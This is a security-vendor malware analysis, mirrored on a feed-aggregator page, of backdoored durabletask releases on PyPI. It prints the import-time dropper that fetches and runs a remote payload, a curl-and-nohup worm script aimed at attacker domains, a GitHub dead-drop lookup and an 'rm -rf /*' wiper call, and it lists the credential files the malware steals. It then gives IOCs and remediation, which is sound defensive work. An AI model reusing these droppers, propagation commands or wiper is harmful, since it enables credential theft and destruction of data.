惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

L
LangChain Blog
博客园 - 司徒正美
美团技术团队
WordPress大学
WordPress大学
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
人人都是产品经理
人人都是产品经理
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
T
Troy Hunt's Blog
S
Schneier on Security
T
The Exploit Database - CXSecurity.com
P
Proofpoint News Feed
云风的 BLOG
云风的 BLOG
Engineering at Meta
Engineering at Meta
Cisco Talos Blog
Cisco Talos Blog
T
Tor Project blog
B
Blog
NISL@THU
NISL@THU
月光博客
月光博客
博客园 - 【当耐特】
AWS News Blog
AWS News Blog
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
腾讯CDC
L
Lohrmann on Cybersecurity
The Cloudflare Blog
L
LINUX DO - 最新话题
S
Security @ Cisco Blogs
S
Secure Thoughts
Spread Privacy
Spread Privacy
有赞技术团队
有赞技术团队
The Last Watchdog
The Last Watchdog
Project Zero
Project Zero
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
Vercel News
Vercel News
H
Hacker News: Front Page
S
SegmentFault 最新的问题
Schneier on Security
Schneier on Security
aimingoo的专栏
aimingoo的专栏
P
Privacy & Cybersecurity Law Blog
博客园 - 三生石上(FineUI控件)
Forbes - Security
Forbes - Security
C
CXSECURITY Database RSS Feed - CXSecurity.com
I
InfoQ
T
Tailwind CSS Blog
Application and Cybersecurity Blog
Application and Cybersecurity Blog
G
GRAHAM CLULEY
W
WeLiveSecurity
小众软件
小众软件
Recorded Future
Recorded Future
Cyberwarzone
Cyberwarzone
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org

Aikido Security's Blog

GlassWorm goes native: New Zig dropper infects every IDE on your machine Aikido Attack finds multiple 0-days in Hoppscotch The cybersecurity doomerism around Mythos doesn't match what we see on the ground axios compromised on npm: maintainer account hijacked, RAT deployed Popular telnyx package compromised on PyPI by TeamPCP Aikido × Lovable: Vibe, Fix, Ship CanisterWorm Gets Teeth: TeamPCP's Kubernetes Wiper Targets Iran TeamPCP deploys CanisterWorm on NPM following Trivy compromise Security testing is validating software that no longer exists Aikido Recognized by Frost & Sullivan with the 2026 Customer Value Leadership Award in ASPM GlassWorm Hides a RAT Inside a Malicious Chrome Extension fast-draft Open VSX Extension Compromised by BlokTrooper Glassworm Strikes Popular React Native Phone Number Packages Glassworm Is Back: A New Wave of Invisible Unicode Attacks Hits Hundreds of Repositories How Security Teams Fight Back Against AI-Powered Hackers Introducing Betterleaks, an open source secrets scanner by the author of Gitleaks Trump’s 2026 cybersecurity strategy: From compliance to consequence How does AI pentesting work with compliance? What continuous pentesting actually requires Rare Not Random: Using Token Efficiency for Secrets Scanning Persistent XSS/RCE using WebSockets in Storybook’s dev server Why Determinism Is Still a Necessity in Security WAF vs. RASP vs. ADR Introducing Aikido Infinite: A new model of self-securing software How Aikido secures AI pentesting agents by design Astro Full-Read SSRF via Host Header Injection How to Get Your Board to Care About Security (Before a Breach Forces the Issue) What is Slopsquatting? The AI Package Hallucination Attack Already Happening SvelteSpill: A Cache Deception Bug in SvelteKit + Vercel Top 6 Wiz Code Alternatives Aikido recognized as Platform Leader in Latio Tech's 2026 Application Security Report From detection to prevention: How Zen stops IDOR vulnerabilities at runtime npm backdoor lets hackers hijack gambling outcomes Introducing Upgrade Impact Analysis: When breaking changes actually matter to your code Why Trying to Secure OpenClaw is Ridiculous Claude Opus 4.6 found 500 vulnerabilities. What does this change for software security? Introducing Aikido Expansion Packs: Safer defaults inside the IDE International AI Safety Report 2026: What It Means for Autonomous AI Systems Self-Securing Software: What It Is, Why It Matters, and How It Works npx Confusion: Packages That Forgot to Claim Their Own Name What Is Continuous Pentesting? Introducing Aikido Package Health: a Better Way to Trust Your Dependencies AI Pentesting: Minimum Safety Requirements for Security Testing Secure SDLC for Engineering Teams (+ Checklist) Fake Clawdbot VS Code Extension Installs ScreenConnect RAT G_Wagon: npm Package Deploys Python Stealer Targeting 100+ Crypto Wallets Gone Phishin': npm Packages Serving Custom Credential Harvesting Pages Malicious PyPI Packages spellcheckpy and spellcheckerpy Deliver Python RAT Top 10 AI Security Tools For 2026 Agent Skills Are Spreading Hallucinated npx Commands Understanding Open-Source License Risk in Modern Software The CISO Vibe Coding Checklist for Security Top 6 Graphite alternatives for AI code review in 2026 From “No Bullsh*t Security” to $1B: We Just Raised Our $60m Series B Critical n8n Vulnerability Allows Unauthenticated Remote Code Execution (CVE-2026-21858) Top 14 VS Code Extensions for 2026 AI-Driven Pentesting of Coolify: Seven CVEs Identified Top Continuous Pentesting Tools in 2026 SAST vs SCA: Securing the Code You Write and the Code You Depend On JavaScript, MSBuild, and the Blockchain: Anatomy of the NeoShadow npm Supply-Chain Attack How Engineering and Security Teams Can Meet DORA’s Technical Requirements IDOR Vulnerabilities Explained: Why They Persist in Modern Applications Shai Hulud strikes again - The golden path MongoBleed: MongoDB Zlib Vulnerability (CVE-2025-14847) and How to Fix It First Sophisticated Malware Discovered on Maven Central via Typosquatting Attack on Jackson The Fork Awakens: Why GitHub’s Invisible Networks Break Package Security Top 10 Cyber Security Tools For 2026 SAST in the IDE is now free: Moving SAST to where development actually happens AI Pentesting in Action: A TL;DV Recap of Our Live Demo The Top 7 Threat Intelligence Tools in 2026 React & Next.js DoS Vulnerability (CVE-2025-55184): What You Need to Fix After React2Shell OWASP Top 10 for Agentic Applications (2026): What Developers and Security Teams Need to Know DAST vs Pentesting v AI Pentesting: Why DAST Cannot Replace Modern Pentesting PromptPwnd: Prompt Injection Vulnerabilities in GitHub Actions Using AI Agents Top 7 Cloud Security Vulnerabilities Critical React & Next.js RCE Vulnerability (CVE-2025-55182): What You Need to Fix Now How to Comply With the UK Cybersecurity & Resilience Bill: A Practical Guide for Modern Engineering Teams Shai Hulud 2.0: What the Unknown Wonderer Tells Us About the Attackers’ Endgame SCA Everywhere: Scan and Fix Open-Source Dependencies in Your IDE Safe Chain now enforces a minimum package age before install Shai Hulud Attacks Persist Through GitHub Actions Vulnerabilities Shai Hulud Launches Second Supply-Chain Attack: Zapier, ENS, AsyncAPI, PostHog, Postman Compromised CORS Security: Beyond Basic Configuration Revolut Selects Aikido Security to Power Developer-First Software Security The Future of Pentesting Is Autonomous How Aikido and Deloitte are bringing developer-first security to enterprise Secrets Detection: A Practical Guide to Finding and Preventing Leaked Credentials Invisible Unicode Malware Strikes OpenVSX, Again AI as a Power Tool: How Windsurf and Devin Are Changing Secure Coding Building Fast, Staying Secure: Supabase’s Approach to Secure-by-Default Development OWASP Top 10 2025: Official List, Changes, and What Developers Need to Know Top 10 JavaScript Security Vulnerabilities in Modern Web Apps The Return of the Invisible Threat: Hidden PUA Unicode Hits GitHub repositorties Top 7 Black Duck Alternatives in 2026 What Is IaC Security Scanning? Terraform, Kubernetes & Cloud Misconfigurations Explained AutoTriage and the Swiss Cheese Model of Security Noise Reduction Top Software Supply Chain Security Vulnerabilities Explained The Top 7 Kubernetes Security Tools Top 10 Web Application Security Vulnerabilities Every Team Should Know What Is CSPM (and CNAPP)? Cloud Security Posture Management Explained
Microsoft's durabletask package on PyPi Compromised. Mini Shai Hulud attacks again... again!
Raphael Silva · 2026-05-19 · via Aikido Security's Blog

We've identified three malicious versions of durabletask on PyPI, 1.4.1, 1.4.2, and 1.4.3, that contain a dropper injected directly into the package's Python source files. When a developer installs any of these versions and imports the library, the dropper silently fetches and executes a second-stage payload from a three-day-old C2 domain.

That second stage is a full-featured infostealer and worm. It harvests credentials from every major cloud provider, password manager, and developer tool it can find, encrypts the results with an attacker-controlled RSA key, and ships them off to C2. If the machine is running inside AWS, it propagates itself to other EC2 instances using SSM. If it's inside Kubernetes, it propagates through kubectl exec. And if it detects Israeli or Iranian system settings, there's a 1-in-6 chance it plays audio and then runs rm -rf /*.

This does smell of more TeamPCP shenanigans, but we can’t be sure for now.

What happened

durabletask is a Python package for the Durable Task Framework, a workflow orchestration library associated with Microsoft Azure. It's the kind of package you'd expect to find in cloud-native Python environments running automation, CI/CD, or Azure-connected workloads, which is exactly the kind of environment this campaign is designed to hit.

Starting with version 1.4.1, the package's __init__.py was backdoored with a dropper that fires at import time:

import os
import platform
import subprocess
import urllib.request


if platform.system() == "Linux":
    try:
        urllib.request.urlretrieve(
            "https://check.git-service[.]com/rope.pyz",
            "/tmp/managed.pyz"
        )

        with open(os.devnull, "w") as f:
            subprocess.Popen(
                ["python3", "/tmp/managed.pyz"],
                stdout=f,
                stderr=f,
                stdin=f,
                start_new_session=True
            )

    except Exception:
        pass

The dropper is Linux-only, completely silent, and runs in a detached process that survives the parent dying. The broad except: pass swallows any errors. A developer running import durabletask for the first time would see nothing at all.

The versions tell a story

All three versions carry the same dropper code, but each release injected it into more files. This is a deliberate strategy to maximise the chance that at least one import path triggers the payload.

Version Infected Files
1.4.1 durabletask/__init__.py
1.4.2 + durabletask/task.py
1.4.3 + durabletask/entities/__init__.py

+ durabletask/extensions/__init__.py

+ durabletask/payload/__init__.py

By version 1.4.3, the dropper fires from five separate entry points. A developer who only touches from durabletask.entities import ... is still compromised. The C2 domain, payload URL, and dropper logic are byte-for-byte identical across all three versions, the only change is coverage.

The payload: rope.pyz

The dropper fetches rope.pyz from hxxps://check.git-service[.]com/rope.pyz. The domain was registered on May 16, 2026, three days before this analysis. It resolves via NameSilo with privacy-guarded registration.

rope.pyz is a Python zipapp: a ZIP archive with a __main__.py entrypoint that Python can execute directly. It contains 19 files across a structured module layout.

SHA-256: 069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce

Before doing anything, __main__.py runs four checks:

  1. Platform — exits if not Linux.
  2. Locale — exits if $LANG starts with ru. The payload will not run on Russian-locale systems.
  3. CPU count — exits if os.cpu_count() <= 2. This kills most automated sandboxes.
  4. Dependencies — silently installs cryptography via pip if not present, with a --break-system-packages fallback.

Only after clearing all four does it hand off to the main orchestration module.

The FIRESCALE dead-drop

The payload first checks in with hxxps://check.git-service[.]com/v1/models. If that endpoint returns HTTP 200, the response body is treated as a base64-encoded Python script and handed to roulette.py for execution — this is the attacker's remote activation channel.

If the primary C2 is unreachable, the payload falls back to a GitHub-based dead-drop:

req = urllib.request.Request(
    "https://api.github.com/search/commits"
    "?q=FIRESCALE"
    "&sort=committer-date"
    "&order=desc"
    "&per_page=30",
    headers={
        "Accept": "application/vnd.github.cloak-preview+json",
        "User-Agent": "git/2.39.0",
    },
)

It searches GitHub's commit search API for the string FIRESCALE. Each matching commit is inspected for the pattern:

FIRESCALE <base64_url>.<base64_signatue>

The base64-encoded URL is only accepted if its RSA-SHA256 signature verifies against a hardcoded 4096-bit public key. That means only the attacker — the holder of the corresponding private key — can publish a valid new C2 address. The GitHub search API becomes a censorship-resistant, cryptographically authenticated fallback channel. If the primary C2 domain gets seized or sinkholed, the attacker can resume operations by making a single public commit anywhere on GitHub.

What it steals

Collection runs concurrently across eight modules via ThreadPoolExecutor.

Password managers. The payload targets 1Password, Bitwarden, pass, and gopass. For each locked vault, it tries to unlock it by scanning environment variables for patterns like *PASS*, *SECRET*, and BW_*, parsing shell history files for bw unlock and op signin invocations, and then trying the literal string "anon" as a last resort. If it gets in, it dumps everything.

Credential files. Over 90 hardcoded file paths are read. The list is comprehensive: AWS credentials, GCP application default credentials, Azure access tokens, ~/.kube/config, ~/.vault-token, ~/.ssh/ (every file), ~/.docker/config.json, ~/.pypirc, ~/.npmrc, .env files across the entire home directory, Terraform state files (which frequently contain plaintext secrets), and VPN configs including Tailscale state and WireGuard .conf files.

The list also specifically targets AI development tooling: ~/.config/claude/claude_desktop_config.json, ~/.cursor/mcp.json, ~/.vscode/mcp.json, ~/.codeium/mcp.json, and configs for Zed, Continue, Kilo, and OpenCode.

Docker. The payload queries the Docker socket at /var/run/docker.sock directly, enumerating all containers and extracting their environment variables. Cloud credentials passed as container env vars are a common pattern in Docker-based CI/CD setups.

AWS. Credentials are resolved from environment variables, then the EC2 instance metadata service (IMDS), then all named profiles in ~/.aws/credentials. For each credential set, the payload enumerates AWS Secrets Manager and SSM Parameter Store across all 19 AWS regions, including GovCloud, concurrently. It retrieves every secret value, with WithDecryption: True for SSM. It also enumerates all SSM-managed EC2 instances for the propagation step described below.

Azure. The payload resolves tokens via client credentials, certificate-based JWT assertion, the Azure CLI token cache at ~/.azure/accessTokens.json, or Azure IMDS (managed identity). With a valid token, it lists all subscriptions, all Key Vaults in each subscription, and retrieves every secret from every vault.

GCP. Credentials are resolved from $GOOGLE_APPLICATION_CREDENTIALS, the application default credentials file, or GCP IMDS. The payload generates OAuth2 JWTs itself and retrieves every secret from GCP Secret Manager.

Kubernetes. Access is resolved from ~/.kube/config across all contexts, from in-cluster service account tokens, or via kubectl. If kubectl is not installed, the payload downloads it from the official Kubernetes release CDN to /tmp/kubectl. Every secret in every namespace across every context is retrieved and base64-decoded.

HashiCorp Vault. The payload resolves the Vault token from $VAULT_TOKEN, ~/.vault-token, AppRole credentials, or vault print token. It then recursively walks all KV v1 and v2 mounts, retrieving every secret path. SSL verification is disabled to handle self-signed internal Vault deployments.

All collected data is gzip-compressed and encrypted with AES-256-GCM. The per-session AES key is wrapped with RSA-OAEP-SHA256 using the hardcoded operator public key. Only the attacker can decrypt it.

Exfiltration follows a three-tier fallback:

  1. POST to hxxps://check.git-service[.]com/api/public/version
  2. POST to a mothership URL resolved via the FIRESCALE dead-drop
  3. If any stolen GitHub token is found in the collected data, create a randomly-named public GitHub repository and upload the encrypted bundle as results.json

The GitHub fallback repo names are drawn from a Russian folklore word list: BABA-YAGA, KOSCHEI, FIREBIRD, PTITSA, RUSALKA, MOROZKO, LESHY, and others. The naming is not random noise — it's a stable operator fingerprint.

Worm propagation

After collecting secrets, the payload spreads.

AWS SSM. With the EC2 instances enumerated during credential collection, the payload sends an ssm:SendCommand (using the AWS-RunShellScript document) to up to five online, non-Windows instances:

MARKER="$HOME/.cache/.sys-update-check"

[ -f "$MARKER" ] && exit 0

cd /tmp || exit 0

PAYLOAD_FILE="rope-${RANDOM}.pyz"

curl -sSL "https://check.git-service[.]com/rope.pyz" -o "$PAYLOAD_FILE" \
    || curl -sSL "https://t.m-kosche[.]com/rope.pyz" -o "$PAYLOAD_FILE" \
    || exit 0

nohup python3 "$PAYLOAD_FILE" > /dev/null 2>&1 &

A marker file at ~/.cache/.sys-update-check prevents re-infection from the same host. The secondary payload URL hxxps://t.m-kosche[.]com/rope.pyz serves as a fallback if the primary C2 is down.

Kubernetes. If running inside a K8s cluster, the payload kubectl execs the same download-and-run script into up to five running pods, skipping the current one. A separate marker at ~/.cache/.sys-update-check-k8s tracks K8s propagation independently.

The disk wiper

When the primary C2 returns HTTP 200 from /v1/models, the response triggers roulette.py. That module has two capabilities: installing persistence and wiping disks.

Persistence. The base64-decoded C2 response is written to /usr/bin/pgmonitor.py (as root) or ~/.local/bin/pgmonitor.py (non-root) and registered as a systemd service named pgsql-monitor.service, described as a "PostgreSQL Monitor." The service restarts automatically on failure.

Wiper. The module checks for Israeli or Iranian system settings by inspecting $TZ for strings like Jerusalem, Tel_Aviv, and Tehran; reading /etc/timezone and /etc/localtime binary content; and checking $LANG, $LC_ALL, and $LC_MESSAGES for he_IL or fa_IR. On a one-in-six roll, it runs:

play_at_full_volume(config.RUN_FOR_COVER, "RunForCover.mp3")
subprocess.run(["rm", "-rf", "/*"])

It downloads an audio file from hxxps://check.git-service[.]com/audio.mp3, sets system volume to 100% via pactl, and plays it via mpv, then wipes the disk. The audio precedes the wipe by design. This is not an automated background process; the attacker activates it deliberately per victim by returning 200 OK from the C2 check-in.

Detection and mitigation

If you installed durabletask 1.4.1, 1.4.2, or 1.4.3, treat the host as compromised. The payload ran the moment the package was imported.

Check for the marker file first:

~/.cache/.sys-update-check

Its presence confirms the worm logic ran on that host. Check ~/.cache/.sys-update-check-k8s separately for Kubernetes propagation.

Look for the persistence service:

/etc/systemd/system/pgsql-monitor.service
~/.config/systemd/user/pgsql-monitor.service
/usr/bin/pgmonitor.py
~/.local/bin/pgmonitor.py

Block and rotate:

  • All cloud credentials present on the affected host (AWS, Azure, GCP)
  • All SSH keys under ~/.ssh/
  • All Kubernetes service account tokens
  • Any HashiCorp Vault tokens
  • GitHub tokens and PATs — and check for new public repositories with Russian folklore names created from those tokens
  • npm, pip, and package registry tokens
  • Anything in ~/.docker/config.json
  • All environment variable secrets that were set on the machine
  • Contents of any .env files in the home directory
  • Any Terraform state files on the host

If the host was running inside AWS with SSM-managed instances in the same account, check AWS CloudTrail for SendCommand activity from the compromised instance and investigate any instances it contacted. Do the same for Kubernetes: check audit logs for exec commands originating from the infected pod.

Block at the network layer:

  • check.git-service[.]com
  • t.m-kosche[.]com

Indicators of Compromise

Malicious packages:

  • durabletask==1.4.1
  • durabletask==1.4.2
  • durabletask==1.4.3

Hashes:

  • durabletask-1.4.1.tar.gz SHA-256: 3de04fe2a76262743ed089efa7115f4508619838e77d60b9a1aab8b20d2cc8bf
  • durabletask-1.4.2.tar.gz SHA-256: 85f54c089d78ebfb101454ec934c767065a342a43c9ee1beac8430cdd3b2086f
  • durabletask-1.4.3.tar.gz SHA-256: c0b094e46842260936d4b97ce63e4539b99a3eae48b736798c700217c52569dc
  • rope.pyz SHA-256: 069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce

Domains and URLs:

  • hxxps://check.git-service[.]com/rope.pyz
  • hxxps://check.git-service[.]com/v1/models
  • hxxps://check.git-service[.]com/api/public/version
  • hxxps://check.git-service[.]com/audio.mp3
  • hxxps://t.m-kosche[.]com/rope.pyz

Domain registration:

  • git-service.com — registered 2026-05-16 (3 days before analysis), NameSilo, privacy-guarded

Files created on victim:

  • /tmp/managed.pyz — initial payload drop
  • ~/.cache/.sys-update-check — propagation marker (key detection artifact)
  • ~/.cache/.sys-update-check-k8s — Kubernetes propagation marker
  • /usr/bin/pgmonitor.py or ~/.local/bin/pgmonitor.py — persistence payload
  • /etc/systemd/system/pgsql-monitor.service or ~/.config/systemd/user/pgsql-monitor.service — persistence service
  • /tmp/kubectl — downloaded kubectl binary if not present on host

Campaign strings:

  • FIRESCALE — dead-drop beacon string in GitHub commit search
  • pgsql-monitor.service — persistence service name
  • PostgreSQL Monitor — persistence service description used as cover
  • Russian folklore repo names: BABA-YAGA, KOSCHEI, FIREBIRD, PTITSA, RUSALKA, MOROZKO, LESHY, DOMOVOI, VODYANOY, and others

How Aikido Detects This

If you are an Aikido user, check your central feed and filter on malware issues. This will surface as a critical issue. Aikido rescans nightly, but we recommend triggering a manual rescan now.

If you are not yet an Aikido user, you can create an account and connect your repos. Malware coverage is included in the free plan.

For future protection, Aikido Safe Chain (open source) intercepts package install commands and checks against Aikido Intel before anything runs.